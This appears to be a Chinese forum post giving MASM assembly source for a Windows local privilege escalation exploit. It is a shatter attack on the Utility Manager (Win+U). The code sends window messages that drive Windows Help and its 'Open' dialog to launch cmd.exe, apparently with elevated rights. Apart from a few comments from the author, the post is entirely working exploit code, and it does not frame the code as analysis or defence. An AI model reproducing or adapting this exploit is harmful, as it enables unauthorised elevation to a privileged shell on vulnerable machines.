文章作者:冰狐浪子[EST]
;用于我自己的系统,可惜是无法使用程序用“WIN+U”来调出辅助工具管理器',只能手工,不知是啥原因,郁闷
;只能本地提升拉
.386
.model flat, stdcall
option casemap :none
;冰狐浪子[EST]
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 文件定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include windows.inc
include user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib
.data?
h0 dd ?
h1 dd ?
h2 dd ?
.code
cmd db 'cmd.ex?',0
szWindowText0 db '辅助工具管理器',0
szWindowText db '工具管理器',0
szWindowText1 db 'Windows 帮助',0
szWindowText2 db '打开',0
szClassText db '#32770',0
szClassText1 db "SHELLDLL_DefView",0
start:
;工具管理器
invoke FindWindow,NULL,addr szWindowText0
or eax,eax
jnz next1
invoke FindWindow,NULL,addr szWindowText
next1:
mov ebx,eax
invoke PostMessage,ebx,313h,0,0
invoke SendMessage,ebx,365h,0,1 ;WM_COMMANDHELP
invoke Sleep,1000
;Windows 帮助
invoke FindWindow,NULL,addr szWindowText1
invoke SendMessage,eax, WM_IME_KEYDOWN, VK_RETURN, 0
invoke Sleep,1500
;"打开" 窗口
invoke FindWindow,addr szClassText,addr szWindowText2
mov h1,eax
;"路径输入框"get input box handle
invoke GetDlgItem,eax, 47Ch
mov h2,eax
;set text to filter listview to display only cmd.exe
invoke SendMessage,h2, WM_SETTEXT, 0,addr cmd
invoke SendMessage,h2, WM_IME_KEYDOWN, VK_RETURN, 0
;get navigation bar handle
invoke GetDlgItem,h1, 4A0h
;send tab
invoke SendMessage,eax, WM_IME_KEYDOWN, VK_TAB, 0
invoke FindWindowEx,h1,NULL,addr szClassText1,NULL
;get list view handle
invoke GetDlgItem,eax,1
mov h2,eax
invoke SendMessage,h2, WM_IME_KEYDOWN, 43h, 0
invoke SendMessage,h2, WM_IME_KEYDOWN, 4Dh, 0
invoke SendMessage,h2, WM_IME_KEYDOWN, 44h, 0
invoke Sleep,200
;popup context menu
invoke PostMessage,h2,WM_CONTEXTMENU, 0, 0
invoke Sleep,1000
;get context menu handle
invoke WindowFromPoint,10,30
mov h2,eax
invoke SendMessage,h2, WM_KEYDOWN, VK_DOWN, 0
invoke SendMessage,h2, WM_KEYDOWN, VK_DOWN, 0
invoke SendMessage,h2, WM_KEYDOWN, VK_RETURN, 0
invoke SendMessage,h1,WM_CLOSE,0,0
invoke Sleep,200
invoke FindWindow,NULL,addr szWindowText1
invoke SendMessage,eax,WM_CLOSE,0,0
invoke SendMessage,ebx,WM_CLOSE,0,0
invoke ExitProcess,0
end start